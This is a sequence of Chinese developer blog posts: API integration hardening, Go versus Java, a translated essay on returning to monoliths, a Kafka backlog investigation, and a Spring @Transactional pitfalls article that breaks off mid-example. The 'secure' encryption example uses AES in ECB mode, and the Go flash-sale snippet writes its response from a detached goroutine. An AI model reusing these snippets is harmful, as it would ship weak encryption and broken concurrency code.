Supplier<PaymentResponse> retryableSupplier = Retry.decorateSupplier(
retry, () -> doCallPaymentApi(request)
);
2. 熔断降级:防止对方故障拖垮自己
// 当失败率超过50%,触发熔断
CircuitBreakerConfig config = CircuitBreakerConfig.custom()
.failureRateThreshold(50)
.waitDurationInOpenState(Duration.ofSeconds(60)) // 熔断60秒
.permittedNumberOfCallsInHalfOpenState(5) // 半开状态允许5次试探
.build();
CircuitBreaker circuitBreaker = CircuitBreaker.of("paymentApi", config);
// 降级逻辑:返回缓存数据或默认提示
Supplier<PaymentResponse> decoratedSupplier = CircuitBreaker
.decorateSupplier(circuitBreaker, () -> doCallPaymentApi(request))
.orElseGet(() -> buildFallbackResponse(request));
3. 日志追踪:用 TraceId 串联完整调用链
// 拦截器自动生成并传递TraceId
public class TraceIdInterceptor implements ClientHttpRequestInterceptor {
@Override
public ClientHttpResponse intercept(
HttpRequest request, byte[] body, ClientHttpRequestExecution execution) {
String traceId = MDC.get("traceId");
if (traceId == null) {
traceId = UUID.randomUUID().toString();
MDC.put("traceId", traceId);
}
request.getHeaders().add("X-Trace-Id", traceId);
return execution.execute(request, body);
}
}
// 日志格式包含TraceId,方便排查问题
// logback.xml 配置:%X{traceId} [%thread] %-5level %logger{36} - %msg%n
4. 安全签名:给数据加把“锁”
接口传输的敏感信息(如手机号、银彳亍卡号)必须经过双重防护:
// 1. 参数签名:防止数据被篡改
public class SignUtils {
public static String sign(Map<String, String> params, String secret) {
// 按参数名ASCII排序
List<String> keys = new ArrayList<>(params.keySet());
Collections.sort(keys);
// 拼接为key=value&key=value形式
StringBuilder sb = new StringBuilder();
for (String key : keys) {
sb.append(key).append("=").append(params.get(key)).append("&");
}
// 追加密钥后用SHA256加密
sb.append("secret=").append(secret);
return DigestUtils.sha256Hex(sb.toString());
}
}
// 2. 敏感字段加密:防止传输中泄露
public class EncryptUtils {
// 手机号加密示例(AES算法)
public static String encryptPhone(String phone, String aesKey) {
// 实际项目中建议使用密钥管理服务存储密钥
SecretKeySpec key = new SecretKeySpec(aesKey.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, key);
return Base64.getEncoder().encodeToString(cipher.doFinal(phone.getBytes()));
}
}
5. 实时监控:让接口状态“可视化”
高手不会等到用户投诉才发现问题,而是用监控提前预警:
// 1. 自定义指标收集(基于Micrometer)
@Component
public class ApiMetricsCollector {
private final MeterRegistry meterRegistry;
public void recordApiCall(String apiName, long durationMs, boolean success) {
// 记录接口耗时分布
Timer.builder("thirdparty.api.duration")
.tag("api", apiName)
.tag("success", String.valueOf(success))
.register(meterRegistry)
.record(durationMs, TimeUnit.MILLISECONDS);
// 记录失败次数
if (!success) {
Counter.builder("thirdparty.api.failure")
.tag("api", apiName)
.register(meterRegistry)
.increment();
}
}
}
// 2. 配置监控告警(Prometheus + Grafana)
// 告警规则示例:当5分钟内失败率超过10%时触发告警
// - alert: ApiHighFailureRate
// expr: sum(rate(thirdparty.api.failure[5m])) / sum(rate(thirdparty.api.duration_count[5m])) > 0.1
// for: 1m
// labels:
// severity: critical
// annotations:
// summary: "接口失败率过高"
// description: "{{ $labels.api }} 接口5分钟失败率超过10%"
一个优秀的接口对接系统,其实就是一个可观测、可预警、可恢复、可信任的微系统。
四、写给未来的自己看
很多人调完接口就走,连注释都没有。三个月后接手的人只能默默骂一句:“这谁写的鬼东西?对方文档改了哪?这个签名算法是啥意思?”
高手懂得写“能看懂的代码”,体现在这些地方:
- • 接口模型用类而非 Map:
PaymentRequest类比Map<String, Object>更清晰,字段注释直接写在类里 - • 错误码枚举化:
PaymentErrorCode.ORDER_NOT_EXIST比魔法值10001更容易维护 - • 文档内聚:在实现类里用
@see链接对方文档地址,关键逻辑加注释说明为什么这么做 - • Mock 测试就绪:提供
MockPaymentGatewayClient,方便本地调试和单元测试
对接接口的过程,其实是你在写给未来的自己看。维护体验的好坏,体现的是你的工程素养。
五、你以为的“体力活”,其实是“架构的入门课”
对接第三方接口,本质上是一次系统边界设计的演练。
当你学会:
- 用“依赖倒置”隔离外部变化
- 用“防御性编程”处理异常情况
- 用“签名加密”保障数据安全
- 用“可观测性”确保问题可追溯
- 用“熔断降级”保障系统韧性
你就已经掌握了架构设计的核心思维。
毕竟,真实世界的系统从来不是孤立的。能把一个“不稳定的外部系统”接入得像内部服务一样稳定、可靠、优雅,那一刻,你不再是“接口调用员”,而是一个在用工程思维解决问题的架构师。
最后想说一句
下次当有人跟你说:“就调个接口嘛,这有啥难的?”。你可以微微一笑: “我不只是调接口,我在构建系统的边界。”
记住一句话: “能调通的叫能力,能跑稳的才叫实力。”
如果觉得有启发,不妨关注下我的公众号《码上实战》。
来源:juejin.cn/post/7563858353884102695
Go 语言未来会取代 Java 吗?
Go 语言未来会取代 Java 吗?
(八年 Java 开发的深度拆解:从业务场景到技术底层)
开篇:面试官的灵魂拷问与行业焦虑
前年面某大厂时,技术负责人突然抛出问题:“如果让你重构公司核心系统,会选 Go 还是 Java?”
作为写了八年 Java 的老开发,我本能地想强调 Spring 生态和企业级成熟度,但对方随即展示的 PPT 让我冷汗直冒 —— 某金融公司用 Go 重构交易系统后,QPS 从 5 万飙升到 50 万,服务器成本降低 70%。这让我陷入沉思:当云原生和 AI 浪潮来袭,Java 真的要被 Go 取代了吗?
今天从 业务场景、技术本质、行业趋势 三个维度,结合实战代码和踩坑经验,聊聊我的真实看法。
一、业务场景对比:Go 的 “闪电战” vs Java 的 “持久战”
先看三个典型业务场景,你会发现两者的差异远不止 “性能” 二字。
场景 1:高并发抢购(电商大促)
Go 实现(Gin 框架) :
func main() {
router := gin.Default()
router.GET("/seckill", func(c *gin.Context) {
// 轻量级goroutine处理请求
go func() {
// 直接操作Redis库存
if err := redisClient.Decr("stock").Err(); err != nil {
c.JSON(http.StatusOK, gin.H{"result": "fail"})
return
}
c.JSON(http.StatusOK, gin.H{"result": "success"})
}()
})
router.Run(":8080")
}
性能数据:单机轻松支撑 10 万 QPS,p99 延迟 < 5ms。
Java 实现(Spring Boot + 虚拟线程) :
@RestController
public class SeckillController {
@GetMapping("/seckill")
public CompletableFuture<ResponseEntity<String>> seckill() {
return CompletableFuture.supplyAsync(() -> {
// 虚拟线程处理IO操作
if (redisTemplate.opsForValue().decrement("stock") < 0) {
return ResponseEntity.ok("fail");
}
return ResponseEntity.ok("success");
}, Executors.newVirtualThreadPerTaskExecutor());
}
}
性能数据:Java 21 虚拟线程让 IO 密集型场景吞吐量提升 7 倍,p99 延迟从 165ms 降至 23ms。
核心差异:
- Go:天生适合高并发,Goroutine 调度和原生 Redis 操作无额外开销。
- Java:依赖 JVM 调优,虚拟线程虽大幅提升性能,但需配合线程池和异步框架。
场景 2:智能运维平台(云原生领域)
Go 实现(Ollama + gRPC) :
func main() {
// 启动gRPC服务处理AI推理请求
server := grpc.NewServer()
pb.RegisterAIAnalysisServer(server, &AIHandler{})
go func() {
if err := server.Serve(lis); err != nil {
log.Fatalf("Server exited with error: %v", err)
}
}()
// 采集节点数据(百万级设备)
for i := 0; i < 1000000; i++ {
go func(nodeID int) {
for {
data := collectMetrics(nodeID)
client.Send(data) // 通过channel传递数据
}
}(i)
}
}
优势:轻量级 Goroutine 高效处理设备数据采集,gRPC 接口响应速度比 REST 快 30%。
Java 实现(Spring Cloud + Kafka) :
@Service
public class MonitorService {
@Autowired
private KafkaTemplate<String, String> kafkaTemplate;
public void collectMetrics(int nodeID) {
ScheduledExecutorService executor = Executors.newScheduledThreadPool(100);
executor.scheduleAtFixedRate(() -> {
String data =采集数据(nodeID);
kafkaTemplate.send("metrics-topic", data);
}, 0, 1, TimeUnit.SECONDS);
}
}
挑战:传统线程池在百万级设备下内存占用飙升,需配合 Kafka 分区和 Consumer Gr0up 优化。
核心差异:
- Go:云原生基因,从采集到 AI 推理全链路高效协同。
- Java:生态依赖强,需整合 Spring Cloud、Kafka 等组件,部署复杂度高。
场景 3:企业 ERP 系统(传统行业)
Java 实现(Spring + Hibernate) :
@Entity
@Table(name = "orders")
public class Order {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
@ManyToOne
@JoinColumn(name = "user_id")
private User user;
// 复杂业务逻辑注解
@PrePersist
public void validateOrder() {
if (totalAmount < 0) {
throw new BusinessException("金额不能为负数");
}
}
}
优势:Spring 的事务管理和 Hibernate 的 ORM 完美支持复杂业务逻辑,代码可读性高。
Go 实现(GORM + 接口组合) :
type Order struct {
ID uint `gorm:"primaryKey"`
UserID uint
Total float64
}
func (o *Order) Validate() error {
if o.Total < 0 {
return errors.New("金额不能为负数")
}
return nil
}
func CreateOrder(ctx context.Context, order Order) error {
if err := order.Validate(); err != nil {
return err
}
return db.Create(&order).Error
}
挑战:需手动实现事务和复杂校验逻辑,代码量比 Java 多 20%。
核心差异:
- Java:企业级成熟度,框架直接支持事务、权限、审计等功能。
- Go:灵活性高,但需手动实现大量基础功能,适合轻量级业务。
二、技术本质:为什么 Go 在某些场景碾压 Java?
从 并发模型、内存管理、性能调优 三个维度,深挖两者的底层差异。
1. 并发模型:Goroutine vs 线程 / 虚拟线程
Go 的 Goroutine:
- 轻量级:每个 Goroutine 仅需 2KB 栈空间,可轻松创建百万级并发。
- 调度高效:基于 GMP 模型,避免内核级上下文切换,IO 阻塞时自动释放线程。
Java 的虚拟线程(Java 21+) :
- 革命性改进:每个虚拟线程仅需几百字节内存,IO 密集型场景吞吐量提升 7 倍。
- 兼容传统代码:无需修改业务逻辑,直接将
new Thread()替换为Thread.startVirtualThread()。
性能对比:
- HTTP 服务:Go 的 Gin 框架单机 QPS 可达 5 万,Java 21 虚拟线程 + Netty 可达 3 万。
- 消息处理:Go 的 Kafka 消费者单节点处理速度比 Java 快 40%。
2. 内存管理:逃逸分析 vs 分代 GC
Go 的逃逸分析:
- 栈优先分配:对象若未逃逸出函数,直接在栈上分配,减少 GC 压力。
- 零拷贝优化:
io.Reader接口直接操作底层缓冲区,避免内存复制。
Java 的分代 GC:
- 成熟但复杂:新生代采用复制算法,老年代采用标记 - 压缩,需通过
-XX:G1HeapRegionSize等参数调优。 - 内存占用高:同等业务逻辑下,Java 堆内存通常是 Go 的 2-3 倍。
典型案例:
某金融公司用 Go 重构风控系统后,内存占用从 8GB 降至 3GB,GC 停顿时间从 200ms 缩短至 10ms。
3. 性能调优:静态编译 vs JIT 编译
Go 的静态编译:
- 启动快:编译后的二进制文件直接运行,无需预热 JVM。
- 可预测性强:性能表现稳定,适合对延迟敏感的场景(如高频交易)。
Java 的 JIT 编译:
- 动态优化:运行时将热点代码编译为机器码,长期运行后性能可能反超 Go。
- 依赖调优经验:需通过
-XX:CompileThreshold等参数平衡启动时间和运行效率。
实测数据:
- 启动时间:Go 的 HTTP 服务启动仅需 20ms,Java Spring Boot 需 500ms。
- 长期运行:持续 24 小时压测,Java 的吞吐量可能比 Go 高 10%(JIT 优化后)。
三、行业趋势:Go 在蚕食 Java 市场,但 Java 不会轻易退场
从 市场数据、生态扩展、技术演进 三个维度,分析两者的未来走向。
1. 市场数据:Go 在高速增长,Java 仍占主导
- 份额变化:Go 在 TIOBE 排行榜中从 2020 年的第 13 位升至 2025 年的第 7 位,市场份额突破 3%。
- 薪资对比:Go 开发者平均薪资比 Java 高 20%,但 Java 岗位数量仍是 Go 的 5 倍。
典型案例:
- 字节跳动:核心推荐系统用 Go 重构,QPS 提升 3 倍,成本降低 60%。
- 招商银行:核心交易系统仍用 Java,但微服务网关和监控平台全面转向 Go。
2. 生态扩展:Go 拥抱 AI,Java 深耕企业级
Go 的 AI 集成:
- 工具链完善:通过 Ollama 框架可直接调用 LLM 模型,实现智能运维告警。
- 性能优势:Go 的推理服务延迟比 Python 低 80%,适合边缘计算场景。
Java 的企业级护城河:
- 大数据生态:Hadoop、Spark、Flink 等框架仍深度依赖 Java。
- 移动端统治力:尽管 Kotlin 流行,Android 系统底层和核心应用仍用 Java 开发。
3. 技术演进:Go 和 Java 都在进化
Go 的发展方向:
- 泛型完善:Go 1.18 + 支持泛型,减少重复代码(如
PrintSlice函数可适配任意类型)。 - WebAssembly 集成:计划将 Goroutine 编译为 Wasm,实现浏览器端高并发。
Java 的反击:
- Project Loom:虚拟线程已转正,未来将支持更细粒度的并发控制。
- Project Valhalla:引入值类型,减少对象装箱拆箱开销,提升性能 15%。
四、选型建议:Java 开发者该如何应对?
作为八年 Java 老兵,我的 技术选型原则 是:用最合适的工具解决问题,而非陷入语言宗教战争。
1. 优先选 Go 的场景
- 云原生基础设施:API 网关、服务网格、CI/CD 工具链(如 Kubernetes 用 Go 开发)。
- 高并发实时系统:IM 聊天、金融交易、IoT 数据采集(单机 QPS 需求 > 1 万)。
- AI 推理服务:边缘计算节点、实时推荐系统(需低延迟和高吞吐量)。
2. 优先选 Java 的场景
- 复杂企业级系统:ERP、CRM、银行核心业务(需事务、权限、审计等功能)。
- Android 开发:系统级应用和性能敏感模块(如相机、传感器驱动)。
- 大数据处理:离线分析、机器学习训练(Hadoop/Spark 生态成熟)。
3. 混合架构:Go 和 Java 共存的最佳实践
- API 网关用 Go:处理高并发请求,转发到 Java 微服务。
- AI 推理用 Go:部署轻量级模型,结果通过 gRPC 返回给 Java 业务层。
- 数据存储用 Java:复杂查询和事务管理仍由 Java 服务处理。
代码示例:Go 调用 Java 微服务
// Go客户端
conn, err := grpc.Dial("java-service:8080", grpc.WithInsecure())
if err != nil {
log.Fatalf("连接失败: %v", err)
}
defer conn.Close()
client := pb.NewJavaServiceClient(conn)
resp, err := client.ProcessData(context.Background(), &pb.DataRequest{Data: "test"})
if err != nil {
log.Fatalf("调用失败: %v", err)
}
fmt.Println("Java服务返回:", resp.Result)
// Java服务端
@GrpcService
public class JavaServiceImpl extends JavaServiceGrpc.JavaServiceImplBase {
@Override
public void processData(DataRequest request, StreamObserver<DataResponse> responseObserver) {
String result =复杂业务逻辑(request.getData());
responseObserver.onNext(DataResponse.newBuilder().setResult(result).build());
responseObserver.onCompleted();
}
}
五、总结:焦虑源于未知,成长来自行动
回到开篇的问题:Go 会取代 Java 吗? 我的答案是:短期内不会,但长期会形成互补格局。
- Java 的不可替代性:企业级成熟度、Android 生态、大数据框架,这些优势难以撼动。
- Go 的不可阻挡性:云原生、高并发、AI 集成,这些领域 Go 正在建立新标准。
作为开发者,与其焦虑语言之争,不如:
- 掌握 Go 的核心优势:学习 Goroutine 编程、云原生架构,参与开源项目(如 Kubernetes)。
- 深耕 Java 的护城河:研究虚拟线程调优、Spring Boot 3.2 新特性,提升企业级架构能力。
- 拥抱混合开发:在 Java 项目中引入 Go 模块,或在 Go 服务中调用 Java 遗留系统。
最后分享一个真实案例:某电商公司将支付核心用 Java 保留,抢购服务用 Go 重构,大促期间 QPS 从 5 万提升到 50 万,系统总成本降低 40%。这说明,语言只是工具,业务价值才是终极目标。
来源:juejin.cn/post/7540597161224536090
微服务正在悄然消亡:这是一件美好的事
最近在做的事情正好需要系统地研究微服务与单体架构的取舍与演进。读到这篇文章《Microservices Are Quietly Dying — And It’s Beautiful》,许多观点直击痛点、非常启发,于是我顺手把它翻译出来,分享给大家,也希望能给同样在复杂性与效率之间权衡的团队一些参考。
微服务正在悄然消亡:这是一件美好的事
为了把我们的创业产品扩展到数百万用户,我们搭建了 47 个微服务。
用户从未达到一百万,但我们达到了每月 23,000 美元的 AWS 账单、长达 14 小时的故障,以及一个再也无法高效交付新功能的团队。
那一刻我才意识到:我们并没有在构建产品,而是在搭建一座分布式的自恋纪念碑。

我们都信过的谎言
五年前,微服务几乎是教条。Netflix 用它,Uber 用它。每一场技术大会、每一篇 Medium 文章、每一位资深架构师都在高喊同一句话:单体不具备可扩展性,微服务才是答案。
于是我们照做了。我们把 Rails 单体拆成一个个服务:用户服务、认证服务、支付服务、通知服务、分析服务、邮件服务;然后是子服务,再然后是调用服务的服务,层层套叠。
到第六个月,我们已经在 12 个 GitHub 仓库里维护 47 个服务。我们的部署流水线像一张地铁图,架构图需要 4K 显示器才能看清。
当“最佳实践”变成“最差实践”
我们不断告诫自己:一切都在运转。我们有 Kubernetes,有服务网格,有用 Jaeger 的分布式追踪,有 ELK 的日志——我们很“现代”。
但那些光鲜的微服务文章从不提的一点是:分布式的隐性税。
每一个新功能都变成跨团队的协商。想给用户资料加一个字段?那意味着要改五个服务、提三个 PR、协调两周,并进行一次像劫案电影一样精心编排的数据库迁移。
我们的预发布环境成本甚至高于生产环境,因为想测试任何东西,都需要把一切都跑起来。47 个服务在 Docker Compose 里同时启动,内存被疯狂吞噬。
那个彻夜崩溃的夜晚
凌晨 2:47,Slack 被消息炸翻。
生产环境宕了。不是某一个服务——是所有服务。支付服务连不上用户服务,通知服务不断超时,API 网关对每个请求都返回 503。
我打开分布式追踪面板:一万五千个 span,全线飘红。瀑布图像抽象艺术。我花了 40 分钟才定位出故障起点。
结果呢?一位初级开发在认证服务上发布了一个配置变更,只是一个环境变量。它让令牌校验多了 2 秒延迟,这个延迟在 11 个下游服务间层层传递,超时叠加、断路器触发、重试逻辑制造请求风暴,整个系统在自身重量下轰然倒塌。
我们搭了一座纸牌屋,却称之为“容错架构”。
我们花了六个小时才修复。并不是因为 bug 复杂——它只是一个配置的单行改动,而是因为排查分布式系统就像破获一桩谋杀案:每个目击者说着不同的语言,而且有一半在撒谎。
那个被忽略的低语
一周后,在复盘会上,我们的 CTO 说了句让所有人不自在的话:
“要不我们……回去?”
回到单体。回到一个仓库。回到简单。
会议室一片沉默。你能感到认知失调。我们是工程师,我们很“高级”。单体是给传统公司和训练营毕业生用的,不是给一家正打造未来的 A 轮初创公司用的。
但随后有人把指标展开:平均恢复时间 4.2 小时;部署频率每周 2.3 次(从单体时代的每周 12 次一路下滑);云成本增长速度比营收快 40%。
数字不会说谎。是架构在拖垮我们。
美丽的回归
我们用了三个月做整合。47 个服务归并成一个模块划分清晰的 Rails 应用;Kubernetes 变成负载均衡后面的三台 EC2;12 个仓库的工作流收敛成一个边界明确的仓库。
结果简直让人尴尬。
部署时间从 25 分钟降到 90 秒;AWS 账单从 23,000 美元降到 3,800 美元;P95 延迟提升了 60%,因为我们消除了 80% 的网络调用。更重要的是——我们又开始按时交付功能了。
开发者不再说“我需要和三个团队协调”,而是开始说“午饭前给你”。
我们的“分布式系统”变回了结构良好的应用。边界上下文变成 Rails 引擎,服务调用变成方法调用,Kafka 变成后台任务,“编排层”……就是 Rails 控制器。
它更快,它更省,它更好。
我们真正学到的是什么
这是真相:我们为此付出两年时间和 40 万美元才领悟——
微服务不是一种纯粹的架构模式,而是一种组织模式。Netflix 需要它,因为他们有 200 个团队。你没有。Uber 需要它,因为他们一天发布 4,000 次。你没有。
复杂性之所以诱人,是因为它看起来像进步。 拥有 47 个服务、Kubernetes、服务网格和分布式追踪,看起来很“专业”;而一个单体加一套 Postgres,看起来很“业余”。
但复杂性是一种税。它以认知负担、运营开销、开发者幸福感和交付速度为代价。
而大多数初创公司根本付不起这笔税。
我们花了两年时间为并不存在的规模做优化,同时牺牲了能让我们真正达到规模的简单性。
你不需要 50 个微服务,你需要的是自律
软件架构的“肮脏秘密”是:好的设计在任何规模都奏效。
一个结构良好的单体,拥有清晰的模块、明确的边界上下文和合理的关注点分离,比一团由希望和 YAML 勉强粘合在一起的微服务乱麻走得更远。
微服务并不是因为“糟糕”而式微,而是因为我们出于错误的理由使用了它。我们选择了分布式的复杂性而不是本地的自律,选择了运营的负担而不是价值的交付。
那些悄悄回归单体的公司并非承认失败,而是在承认更难的事实:我们一直在解决错误的问题。
所以我想问一个问题:你构建微服务,是在逃避什么?
如果答案是“一个凌乱的代码库”,那我有个坏消息——分布式系统不会修好坏代码,它只会让问题更难被发现。
来源:juejin.cn/post/7563860666349649970
Kafka 消息积压了,同事跑路了
快到年底了,系统频繁出问题。我有正当理由怀疑老板不想发年终奖所以搞事。
这不,几年都遇不到的消息队列积压现象今晚又卷土重来了。
今晚注定是个不眠夜了,原神启动。。。

组里的小伙伴火急火燎找到我说,Kafka 的消息积压一直在涨,预览图一直出不来。我加了几个服务实例,刚开始可以消费,后面消费着也卡住了。
本来刚刚下班的我就比较疲惫,想让他撤回镜像明天再上。不成想组长不讲武德,直接开了个飞书视频。
我当时本来不想理他,我已经下班了,别人上线的功能出问题关我啥事。

后来他趁我不注意搞偷袭,给我私信了,我当时没多想就点开了飞书。
本来以传统功夫的点到为止,我进入飞书不点开他的会话,是能看他给我发的最后一句话的。

我把手放在他那个会话上就是没点开,已读不回这种事做多了不好。我笑了一下,准备洗洗睡了。
正在我收手不点的时候,他突然给我来了一个电话,我大意了啊,没有挂,还强行接了他的电话。两分多钟以后就好了,我说小伙子你不讲武德。
直接喊话,今晚必须解决,大家都点咖啡算他的。

这真没办法,都找上门来了。只能跟着查一下,早点解决早点睡觉。然后我就上 Kafka 面板一看:最初的4个分区已经积压了 1200 条,后面新加的分区也开始积压了,而且积压的速度越来越快。

搞清楚发生了什么?我们就得思考一下导致积压的原因。一般是消费者代码执行出错了,导致某条消息消费不了。
所以某个点卡住了,然后又有新的消息进来。
Kafka 是通过 offset 机制来标记消息是否消费过的,所以如果分区中有某一条消息消费失败,就会导致后面的没机会消费。
我用的是spring cloud stream 来处理消息队列的发送和监听。代码上是每次处理一条消息,而且代码还在处理的过程中加了 try-catch。监听器链路打印的日志显示执行成功了,try-catch也没有捕捉到任何的异常。
这一看,我就以为是消费者性能不足,突然想起 SpringCloudStream 好像有个多线程消费的机制。立马让开发老哥试试,看看能不能就这样解决了,我困得不行。

我半眯着眼睛被提醒吵醒了。开发老哥把多线程改成10之后,发现积压更快了,而且还有pod会挂。老哥查了一下多线程的配置 concurrency。
原来指的是消费者线程,一个消费者线程会负责处理一个分区。对于我们来说,增加之后可能会导致严重的流量倾斜,难怪pod会挂掉,赶紧恢复了回去。
看来想糊弄过去是不行了,我把pod运行的日志全部拉下来。查了一下日志,日志显示执行成功了,但同时有超时错误,这就见了鬼了。

作为一个坚定的唯物主义者,我是不信见鬼的。但此刻我汗毛倒竖,吓得不敢再看屏幕一眼。

但是内心又觉得不甘心,于是我偷偷瞄了一眼屏幕。不看还好,一喵你猜我发现了啥?
消费者组重平衡了,这就像是在黑暗中有一束光照向了我,猪八戒发现嫦娥原来一直暗恋自己,我的女神其实不需要拉屎。
有了重平衡就好说了,无非就是两种情况,一是服务挂掉了,二是服务消费者执行超时了。现在看来服务没有挂,那就是超时了,也正好和上面的日志能对上。

那怎么又看到监听器执行的结果是正常的呢?
这就得从 Kafka 的批量拉取机制说起了,这货和我们人类直觉上的的队列机制不太一样。我们一般理解的队列是发送一个消息给队列,然后队列就异步把这消息给消费者。但是这货是消费者主动去拉取一批来消费。
然后好死不死,SpringCloudStream 为了封装得好用符合人类的认知,就做成了一般理解的队列那种方式。
SpringCloudStream 一批拉了500条记录,然后提供了一个监听器接口让我们实现。入参是一个对象,也就是500条数据中的一条,而不是一个数组。

我们假设这500条数据的ID是 001-500,每一条数据对应的消费者需要执行10s。那么总共就需要500 x 10s=5000s。
再假设消费者执行的超时时间是 300s,而且消费者执行的过程是串行的。那么500条中最多只能执行30条,这就能解释为什么看消费链路是正常的,但是还超时。
因为单次消费确实成功了,但是批次消费也确实超时了。
我咧个豆,破案了。

于是我就想到了两种方式来处理这个问题:第一是改成单条消息消费完立马确认,第二是把批次拉取的数据量改小一点。
第一种方案挺好的,就是性能肯定没有批量那么好,不然你以为 Kafka 的吞吐量能薄纱ActiveMQ这些传统队列。吞吐量都是小事,这个方案胜在可以立马去睡觉了。只需要改一个配置:ack-mode: RECORD
第二种方案是后来提的,其实单单把批次拉取的数据量改小性能提升还不是很明显。不过既然我们都能拿到一批数据了,那多线程安排上就得了。
先改配置,一次只拉取50条 max.poll.records: 50。然后启用线程池处理,完美!
@StreamListener("<TOPIC>")
public void consume(List<byte[]> payloads) {
List<CompletableFuture<Void>> futures = payloads.stream().map(bytes -> {
Payload payload = JacksonSnakeCaseUtils.parseJson(new String(bytes), Payload.class);
return CompletableFuture.runAsync(() -> {
// ........
}, batchConsumeExecutor).exceptionally(e -> {
log.error("Thread error {}", bytes, e);
return null;
});
}).collect(Collectors.toList());
try {
// 等待这批消息中的所有任务全部完成
CompletableFuture.allOf(futures.toArray(new CompletableFuture[0])).join();
errorMessage = "OK";
} catch (Exception e) {
errorMessage = "Ex: " + e.getMessage();
} finally {
// ...
}
}

来源:juejin.cn/post/7573687816431190026
为什么大厂一般都不推荐使用@Transactional?
前言
对于从事java开发工作的同学来说,Spring的事务肯定再熟悉不过了。
在某些业务场景下,如果一个请求中,需要同时写入多张表的数据。为了保证操作的原子性(要么同时成功,要么同时失败),避免数据不一致的情况,我们一般都会用到Spring事务。
确实,Spring事务用起来贼爽,就用一个简单的注解:@Transactional,就能轻松搞定事务。我猜大部分小伙伴也是这样用的,而且一直用一直爽。
但如果你使用不当,它也会坑你于无形。
今天我们就一起聊聊,事务失效的一些场景,说不定你已经中招了。不信,让我们一起看看。

一 事务不生效
1.访问权限问题
众所周知,java的访问权限主要有四种:private、default、protected、public,它们的权限从左到右,依次变大。
但如果我们在开发过程中,把有某些事务方法,定义了错误的访问权限,就会导致事务功能出问题,例如:
@Service
public class UserService {
@Transactional
private void add(UserModel userModel) {
saveData(userModel);
updateData(userModel);
}
}
我们可以看到add方法的访问权限被定义成了private,这样会导致事务失效,spring要求被代理方法必须是public的。
说白了,在AbstractFallbackTransactionAttributeSource类的computeTransactionAttribute方法中有个判断,如果目标方法不是public,则TransactionAttribute返回null,即不支持事务。
protected TransactionAttribute computeTransactionAttribute(Method method, @Nullable Class<?> targetClass) {
// Don't allow no-public methods as required.
if (allowPublicMethodsOnly() && !Modifier.isPublic(method.getModifiers())) {
return null;
}
// The method may be on an interface, but we need attributes from the target class.
// If the target class is null, the method will be unchanged.
Method specificMethod = AopUtils.getMostSpecificMethod(method, targetClass);
// First try is the method in the target class.
TransactionAttribute txAttr = findTransactionAttribute(specificMethod);
if (txAttr != null) {
return txAttr;
}
// Second try is the transaction attribute on the target class.
txAttr = findTransactionAttribute(specificMethod.getDeclaringClass());
if (txAttr != null && ClassUtils.isUserLevelMethod(method)) {
return txAttr;
}
if (specificMethod != method) {
// Fallback is to look at the original method.
txAttr = findTransactionAttribute(method);
if (txAttr != null) {
return txAttr;
}
// Last fallback is the class of the original method.
txAttr = findTransactionAttribute(method.getDeclaringClass());
if (txAttr != null && ClassUtils.isUserLevelMethod(method)) {
return txAttr;
}
}
return null;
}
也就是说,如果我们自定义的事务方法(即目标方法),它的访问权限不是public,而是private、default或protected的话,spring则不会提供事务功能。
2. 方法用final修饰
有时候,某个方法不想被子类重新,这时可以将该方法定义成final的。普通方法这样定义是没问题的,但如果将事务方法定义成final,例如:
@Service
public class UserService {
@Transactional
public final void add(UserModel userModel){
saveData(userModel);
updateData(userModel);
}
}
我们可以看到add方法被定义成了final的,这样会导致事务失效。
为什么?
如果你看过spring事务的源码,可能会知道spring事务底层使用了aop,也就是通过jdk动态代理或者cglib,帮我们生成了代理类,在代理类中实现的事务功能。
但如果某个方法用final修饰了,那么在它的代理类中,就无法重写该方法,而添加事务功能。
注意:如果某个方法是static的,同样无法通过动态代理,变成事务方法。
3.方法内部调用
有时候我们需要在某个Service类的某个方法中,调用另外一个事务方法,比如:
@Service
public class UserService {
@Autowired
private UserMapper userMapper;
//@Transactional
public void add(UserModel userModel) {
userMapper.insertUser(userModel);
updateStatus(userModel);
}
@Transactional
public void updateStatus(UserModel userModel) {
doSameThing();
}
}
我们看到在事务方法add中,直接调用事务方法updateStatus。从前面介绍的内容可以知道,updateStatus方法拥有事务的能力是因为spring aop生成代理了对象,但是这种方法直接调用了this对象的方法,所以updateStatus方法不会生成事务。
由此可见,在同一个类中的方法直接内部调用,会导致事务失效。
那么问题来了,如果有些场景,确实想在同一个类的某个方法中,调用它自己的另外一个方法,该怎么办呢?
3.1 新加一个Service方法
这个方法非常简单,只需要新加一个Service方法,把@Transactional注解加到新Service方法上,把需要事务执行的代码移到新方法中。具体代码如下:
@Servcie
public class ServiceA {
@Autowired
prvate ServiceB serviceB;
public void save(User user) {
queryData1();
queryData2();
serviceB.doSave(user);
}
}
@Servcie
public class ServiceB {
@Transactional(rollbackFor=Exception.class)
public void doSave(User user) {
addData1();
updateData2();
}
}
3.2 在该Service类中注入自己
如果不想再新加一个Service类,在该Service类中注入自己也是一种选择。具体代码如下:
@Servcie
public class ServiceA {
@Autowired
prvate ServiceA serviceA;
public void save(User user) {
queryData1();
queryData2();
serviceA.doSave(user);
}
@Transactional(rollbackFor=Exception.class)
public void doSave(User user) {
addData1();
updateData2();
}
}
可能有些人可能会有这样的疑问:这种做法会不会出现循环依赖问题?
答案:不会。
其实spring ioc内部的三级缓存保证了它,不会出现循环依赖问题。但有些坑,如果你想进一步了解循环依赖问题,可以看看我之前文章《spring:我是如何解决循环依赖的?》。
3.3 通过AopContent类
在该Service类中使用AopContext.currentProxy()获取代理对象
上面的方法2确实可以解决问题,但是代码看起来并不直观,还可以通过在该Service类中使用AOPProxy获取代理对象,实现相同的功能。具体代码如下:
@Servcie
public class ServiceA {
public void save(User user) {
queryData1();
queryData2();
((ServiceA)AopContext.currentProxy()).doSave(user);
}
@Transactional(rollbackFor=Exception.class)
public void doSave(User user) {
addData1();
updateData2();
}
}
4.未被spring管理
在我们平时开发过程中,有个细节很容易被忽略。即使用spring事务的前提是:对象要被spring管理,需要创建bean实例。
通常情况下,我们通过@Controller、@Service、@Component、@Repository等注解,可以自动实现bean实例化和依赖注入的功能。
当然创建bean实例的方法还有很多,有兴趣的小伙伴可以看看我之前写的另一篇文章《@Autowired的这些骚操作,你都知道吗?》
如果有一天,你匆匆忙忙的开发了一个Service类,但忘了加@Service注解,比如:
//@Service
public class UserService {
